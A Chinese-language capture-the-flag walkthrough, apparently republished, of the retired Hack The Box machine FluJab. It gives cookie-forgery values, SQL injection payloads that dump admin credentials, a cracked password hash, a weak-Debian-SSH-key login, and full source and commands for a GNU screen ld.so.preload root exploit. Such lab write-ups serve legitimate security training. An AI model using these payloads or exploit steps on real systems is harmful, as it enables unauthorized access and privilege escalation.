zoukankan      html  css  js  c++  java
  • HTB-靶机-FluJab

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.124

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.124 -o ./FluJab-autorecon

    根据扫描结果,含有大量域名,这里提前先绑定好hosts信息

    10.10.10.124 clownware.htb proxy.clownware.htb console.flujab.htb sys.flujab.htb smtp.flujab.htb vaccine4flu.htb bestmedsupply.htb custoomercare.megabank.htb flowerzrus.htb chocolateriver.htb meetspinz.htb rubberlove.htb freeflujab.htb flujab.htb

    域名比较多,需要访问多个域名进行测试发现,这里使用工具aquatone进行批量探索,具体链接地址:https://github.com/michenriksen/aquatone/releases  经过不断的测试最终发现域名https://freeflujab.htb是可利用的,本靶机存在waf防护,直接访问IP地址会显示被拦截

    点击上了上面的每个功能页面,通过burpsuite抓包

    总结模块信息

    Patient=74f85ae35abd655f80b6a74ff5d172ec
    Registered=NzRmODVhZTM1YWJkNjU1ZjgwYjZhNzRmZjVkMTcyZWM9TnVsbA%3D%3D
    Modus=Q29uZmlndXJlPU51bGw%3D
    path=/?smtp_config

    上面信息大概意思是发送登录请求服务的会响应设置cookie信息,并告知请求的路径/?smtp_config ,其中模块Modus和Registered的属性值是经过base64编码,且最后的等于号(=)进行了url编码,所以我们将其整体的解码一边看看

    从上面可以发现未登录之前cookie带的信息值是Null,访问?logout 的时候cookie值同样显示跟上面类似的信息,所以经过测试发现可以通过更改cookie属性值将其从Null更改为True即可绕过登录访问被限制的页面,下面是最终需要更改为True的编码值

    Q29uZmlndXJlPU51bGw%3D
    Configure=Null
    
    Configure=Ture
    Q29uZmlndXJlPVRydWU%3D
    
    -------------------------
    
    NzRmODVhZTM1YWJkNjU1ZjgwYjZhNzRmZjVkMTcyZWM9TnVsbA%3D%3D
    74f85ae35abd655f80b6a74ff5d172ec=Null
    
    NzRmODVhZTM1YWJkNjU1ZjgwYjZhNzRmZjVkMTcyZWM9VHJ1ZQ%3D%3D
    74f85ae35abd655f80b6a74ff5d172ec=True
    
    -------------------------------------
    下面是配置burpsuite使其自动的替换Cookie属性值 ^Cookie.*$ 替换为 Cookie: Modus=Q29uZmlndXJlPVRydWU%3D; Patient=74f85ae35abd655f80b6a74ff5d172ec; Registered=NzRmODVhZTM1YWJkNjU1ZjgwYjZhNzRmZjVkMTcyZWM9VHJ1ZQ%3D%3D

    上述配置完成,开始访问/?smtp_config,这里刚开始准备在输入框写入IP地址,但是不被允许,然后尝试使用burpsuite拦截数据包再填写即可成功

    上述是配置修改为IP地址,完成之后重新刷新页面再次请求/?smtp_config

    到了此步说明已经将目标靶机连接到本地kali搭建的邮件服务器,这里使用python搭建简单的邮件服务,具体如下:

    一条命令搭建

    python -m smtpd -n -c DebuggingServer :25

    一段代码搭建

    import asyncore
    from smtpd import SMTPServer
    
    class EmlServer(SMTPServer):
        no = 0
        def process_message(self, peer, mailfrom, rcpttos, data):
            print data
            self.no += 1
    
    
    def run():
        foo = EmlServer(('10.10.14.6', 25), None)
        try:
            asyncore.loop()
        except KeyboardInterrupt:
            pass
    
    
    if __name__ == '__main__':
        run()

    得到上面页面有显示一个白名单页面的链接:whitelisted sysadmins 点击一下即可添加当前kali的IP地址为白名单

    准备好上面的之后尝试访问/?remind开启burpsuite进行拦截并修改请求数据包,添加发送的邮件信息

     添加邮件信息

    成功收到邮件信息

    测试发现,此处存在sql注入漏洞,具体如下

    手动注入语句

     or 1=1-- -
      or 1=2-- -
      UNION SELECT 1,2,3,4,5 -- -
      UNION SELECT 1,2,concat(loginname,':',password,':',access),4,5 FROM admin -- -

    最终注入出来账户和密码以及登录的新域名地址

    密码hash
    sysadm:a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602:sysadmin-console-01.flujab.htb
    
    解密出来密码是:th3doct0r

    绑定hosts信息

    10.10.10.124 sysadmin-console-01.flujab.htb

    访问此域名地址并使用账户和密码登录到了此步后面就比较简单了,登录进去之后有个notepad功能,可以通过此功能进行查看目标靶机的文件内容,这里查看了目标靶机的/etc/passwd,和每个用户家目录的信息,最后发现用户drno存在公钥,内容如下

    # shell whitelisting + key auth enabled 
    ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqTfCP9e71pkBY+uwbr+IIx1G1r2G1mcjU5GsA42OZCWOKhWg2VNg0aAL+OZLD2YbU/di+cMEvdGZNRxCxaBNtGfMZTTZwjMNKAB7sJFofSwM29SHhuioeEbGU+ul+QZAGlk1x5Ssv+kvJ5/S9vUESXcD4z0jp21CxvKpCGI5K8YfcQybF9/v+k/KkpDJndEkyV7ka/r/IQP4VoCMQnDpCUwRCNoRb/kwqOMz8ViBEsg7odof7jjdOlbBz/F9c/s4nbS69v1xCh/9muUwxCYtOxUlCwaEqm4REf4nN330Gf4I6AJ/yNo2AH3IDpuWuoqtE3a8+zz4wcLmeciKAOyzyoLlXKndXd4Xz4c9aIJ/15kUyOvf058P6NeC2ghtZzVirJbSARvp6reObXYs+0JMdMT71GbIwsjsKddDNP7YS6XG+m6Djz1Xj77QVZbYD8u33fMmL579PRWFXipbjl7sb7NG8ijmnbfeg5H7xGZHM2PrsXt04zpSdsbgPSbNEslB78RC7RCK7s4JtroHlK9WsfH0pdgtPdMUJ+xzv+rL6yKFZSUsYcR0Bot/Ma1k3izKDDTh2mVLehsivWBVI3a/Yv8C1UaI3lunRsh9rXFnOx1rtZ73uCMGTBAComvQY9Mpi96riZm2QBe26v1MxIqNkTU03cbNE8tDD96TxonMAxE=

    看了下目标靶机的系统版本是debian又看到其他用户的目录公钥信息及提示,确认存在漏洞 https://www.cvedetails.com/cve/CVE-2008-0166 可以通过https://github.com/g0tmi1k/debian-ssh/tree/master/uncommon_keys下的私钥进行比对获取对应的私钥登录目标

    通过取出公钥最后一段字符进行比对得到如下

    将其复制到本地给其权限600然后登录目标,显示如下

    上述显示保存,可判断为目标靶机使用了TCP Wrapper 进行安全限制,可以通过在 /etc/hosts.allow添加自己的IP地址进行绕过登录,我在这里测试的时候卡了一段实际,手动通过页面添加显示成功,但死活连接不上,后来通过api的形式添加成功才可以登录,相关api文档,可以参考:http://docs1.ajenti.org/en/latest/index.html http://docs.ajenti.org/en/latest/refjs/filesystem.html

    下面是/etc/hosts.deny的白名单配置

    最终连接成功,获取user.txt

    此处还有另外一种方式登录目标靶机,因为在查看目标靶机存在哪些用户的时候,刚好也发现存在用户sysadm,这用户也刚好是登录靶机的web应用的账户,而且查看/etc/ssh/sshd_config配置的发现配置文件里面配置了登录目标靶机的公钥配置了别名,具体如下:

    AuthorizedKeysFile    .ssh/authorized_keys access

    所以我们可以通过本地生成私钥和公钥,然后通过上述的web应用-sysadmin将生成的公钥写入到名称为access的文件里面,位置就在用户sysadm的家目录下面即可,这里通过api的形式添加最稳定靠谱,具体的api操作演示就不做了,我们看看结果

    ssh-keygen -t rsa -f bmfx -N bmfx
    -f 指定密钥文件名
    -t 指定密钥类型
    -N 指定生成此密钥的密码

    登录进去发现是个受限制的rbash,这个前面靶机有演示过

    开始提权,查找suid文件

    发现两个screen,确认这两个screen的版本,发现其中一个存提权漏洞,参考:https://www.exploit-db.com/exploits/41154 此漏洞提权前面靶机也演示过,正常情况下丢到目标靶机直接执行脚本即可提权,但是测试发现目标靶机并没有gcc环境,所以需要自己在本地kali中编译好环境然后传到目标靶机进行提权即可

    第一步
    cat << EOF > libhax.c
    #include <stdio.h>
    #include <sys/types.h>
    #include <unistd.h>
    __attribute__ ((__constructor__))
    void dropshell(void){
        chown("/tmp/rootshell", 0, 0);
        chmod("/tmp/rootshell", 04755);
        unlink("/etc/ld.so.preload");
        printf("[+] done!
    ");
    }
    EOF
    
    第二步
    gcc -fPIC -shared -ldl -o libhax.so libhax.c
    
    第三步
    cat << EOF > rootshell.c
    #include <stdio.h>
    int main(void){
        setuid(0);
        setgid(0);
        seteuid(0);
        setegid(0);
        execvp("/bin/sh", NULL, NULL);
    }
    EOF
    
    第四步
    gcc -o rootshell rootshell.c
    
    第五步
    cd /etc
    umask 000
    /usr/local/share/screen/screen -D -m -L ld.so.preload echo -ne  "x0a/tmp/libhax.so"
    
    第六步
    执行提权文件rootshell

  • 相关阅读:
    PowerDesigner最基础的使用方法入门学习
    使用vertx共享数据
    VMware中虚拟机与主机不能ping通解决办法
    Win10系统的SurfacePro4无法修改启动顺序怎么办
    Win10系统的SurfacePro4如何重装系统-4 如何再次备份和还原系统
    Win10系统的SurfacePro4的启动菜单太多怎么管理,UEFI的启动菜单如何编辑
    Win10系统的SurfacePro4如何重装系统-3 重装完成之后的系统优化
    Win10系统的SurfacePro4如何重装系统-2 重装WIN10系统
    Win10系统的SurfacePro4如何重装系统-1 SurfacePro专用的PE
    Win10系统的DELL平板如何重装WIN10系统
  • 原文地址:https://www.cnblogs.com/autopwn/p/14178650.html
Copyright © 2011-2022 走看看